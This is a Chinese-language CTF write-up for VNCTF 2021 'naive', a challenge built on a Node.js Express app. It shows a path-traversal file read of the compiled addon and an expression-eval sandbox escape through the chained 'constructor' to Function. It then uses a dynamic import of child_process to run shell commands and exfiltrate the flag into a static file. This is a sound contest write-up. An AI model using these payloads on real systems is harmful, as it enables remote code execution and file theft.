[VNCTF 2021]naive
出的很好的題目,學到了很多知識,其中感謝Y4大佬甩了一堆學習鏈接給我!!!
考點:任意文件讀取、逆向、ES6模式下動態加載模塊
eval路由
存在代碼執行,但是需要先通過addon.verify()函數
的驗證
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
const addon = bindings("addon");
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e)))); //代碼執行
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
source路由
存在任意文件讀取,但是不可以直接讀取flag文件
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
通過查找文檔:http://nodejs.cn/api/addons.html ,可以找到addon.node模塊存在的位置
然后通過source路由讀取,Payload:?path=../build/Release/addon.node
讀取到addon程序,然后交給了逆向大佬去逆向(為大佬打call!!!),獲得驗證碼yoshino-s_want_a_gf,qq1735439536
接着想辦法去執行命令,查看文檔:https://github.com/q269384828/expression-eval ,發現存在可以代碼執行的方式
於是開始嘗試代碼執行,這里解釋一下用了兩個constructor,第一個返回到String,第二個返回到Function才可以導入模塊
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return require('child_process').execSync('ls');")()
但是直接報錯wrong?,根據源碼查看應該是執行異常跳出的。這是上了一個新的Hint:仔細閱讀package.json哦
,返回去查看package.json中的內容
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}
重點是這個"type": "module"
參數,通過查看文檔:http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html ,知道了這里采用的是ES6模塊,不可以使用require導入,這就是前面代碼執行異常的原因
既然知道了ES6模塊是使用import
導入就可以繼續寫了,同時在文檔:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules ,找到了import導入后的執行方法
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./1.js')});")()
因為沒有回顯所以還需要使用source路由
讀取1.js的內容,url/source?path=../1.js
還有另外一種方式
app.use(express.static("static"));
源碼中存在這句,意思是將static文件夾設置靜態文件目錄,可以在url后面直接加上文件名進行訪問
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./static/1.js')});")()
訪問url/1.js